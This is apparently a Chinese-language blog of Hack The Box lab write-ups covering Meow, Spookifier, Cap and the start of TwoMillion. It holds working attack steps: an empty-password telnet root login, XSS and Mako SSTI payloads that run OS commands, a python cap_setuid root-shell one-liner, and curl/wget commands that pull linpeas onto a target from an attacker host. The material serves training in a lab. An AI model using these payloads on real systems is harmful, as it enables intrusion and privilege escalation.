htb靶场
喵
1 | ┌──(root㉿kali)-[/home/kali/Desktop] |
Task 2
我们用什么工具来与作系统交互,以便通过命令行下达命令,比如启动VPN连接的那个?它也被称为控制台或外壳。
终端-terminal
Task 3
我们用什么服务来把VPN连接连接到HTB Labs?
openvpn
Task 4
我们用什么工具来测试与目标的连接,发送ICMP回声请求?
ping
Task 6
在扫描时,我们在端口23/TCP上识别哪个服务?
telnet远程控制服务
Task 7
什么用户名能用空密码通过telnet登录目标网站?
root
提交根标志
扫描开放端口
1 | nmap 10.129.16.99 |

1 | telnet 10.129.16.99 23 |
root无密码登录

Spookifier
黑盒测试:
感觉像是模板注入
challenge/ 目录

main.py:Flask应用初始化文件,注册blueprint、设置Mako模板引擎、定义错误处理器(返回JSON响应)。
util.py:工具模块,定义字体映射字典(font1-font4)和转换函数。
blueprints/routes.py: 路由定义,只有一个/路由,处理GET参数text,调用spookify函数并渲染模板。
templates/index.html: HTML模板,使用Mako语法渲染输出。
漏洞分析
1.站脚本攻击(XSS)漏洞】
spookify(text)将输入字符串转换为字符列表,然后对每个字符使用font1到font4字典映射
如果输入<script>alert(1)</script>,font4映射结果仍是<script>alert(1)</script>(因为所有字符都在字典中)。
Mako模板${output}直接插入HTML,浏览器解析时执行<script>标签,导致XSS。
2.服务器端模板注入(SSTI)漏洞
Mako模板


1 | 输入${__import__("os").system("whoami")} |
应用执行了whoami命令(返回退出码0,表示成功,但命令输出未显示,因为system()不捕获stdout)。

1 | ${__import__('os').popen('cat /flag.txt').read()} |
最后拿到flag

Cap
信息收集阶段
扫描存活端口!
1 | nmap -sV -Pn 10.129.41.234 |
这一步还有点出问题了,因为我用的是UDP1337协议的openvpn..很多校园网、公司网、运营商网络,都会对UDP流量做严格限制,所以一直扫描不出来。换了一个协议就好了
开放了3个端口

web服务
发现可疑路由

里面有大量流量
其中存在一个账号密码
1 | nathan |

考虑到之前还有一个ssh服务
可以以普通用户用SSH连接到靶机了
提权
进来先拿到了第一个flag,就在用户主目录下面

查看一下有没有特殊权限的文件
在整个系统里,递归查找所有带特殊权限(capabilities)的文件,并且屏蔽无用报错。
1 | getcap -r / 2>/dev/null |

其中
/usr/bin/python3.8 cap_setuid允许程序随便切换用户 ID
cap_net_bind_service普通程序可以绑定1024以下的特权端口
其他几个不用管,ping、traceroute、mtr、gst-ptp-helper都是网络相关普通权限,不能提权
利用 Python 的高危权限,从普通用户直接变成root管理员提权命令。
运行Python脚本,-c直接在命令行运行一段代码,不用写文件。os加载Python的系统操作模块
os.setuid(0)设置用户ID为0(0是root的ID)。最后打开一个root 权限的bash终端
1 | python3.8 -c 'import os;os.setuid(0);os.system("/bin/bash")' |


linpeas.sh-内网自动化信息收集工具
下载地址
1 | https://github.com/peass-ng/PEASS-ng/releases/tag/20250320-91fb36a0 |
开启一个web服务
以便于把它上传到靶机中执行

在靶机上执行
1 | curl http://192.168.235.128:8888/linpeas.sh -o linpeas.sh |
或者
1 | wget http://192.168.235.128:8888/linpeas.sh |
赋权再执行
1 | chmod 777 linpeas.sh |
也可以看到哪里有漏洞的利用点

GTFOBins
最后再在ctfbbins上搜索提权方法
GTFOBins 就是 Linux/Unix 提权 & 逃逸手册
这些不是漏洞,是 “合法命令被滥用” 的方法,专门对付配置错误的系统。
1 | https://gtfobins.org/ |
找到python板块的Shell

TwoMillion
信息收集
这个只扫描1000个常用端口,一般的靶场应该够用啦
1 | nmap -sV -Pn 10.129.48.227 |
这是加速扫描全端口
1 | nmap -sV -Pn -T4 -p- 10.129.48.227 |

中间出现了一个小插曲~~~分享一下
网络一直出现问题,MTU分片的问题,ping一直延迟很大,为了解决这个问题,临时设置了一下MTU
1 | ip link set dev tun0 mtu 1000 |
这样ping就稳定多了
顺便复习了一下计网基础了
1 | 正常情况:您发送数据包 → 网络设备正常转发 → 对方收到 ✅ |
MTU值设置的太大了,中间有个设备过不去了!!!
web服务
直接访问10.129.229.66:80会出现一个问题
Nginx强制301重定向到

1 | http://2million.htb/ |
还要走一下域名解析,配置一下
管理员打开记事本,最后一行添加
10.129.229.66 2million.htb

刷新DNS缓存,就ok了
1 | ipconfig /flushdns |

在/invite接口有一个JavaScript file很重要

扔给ai分析一下





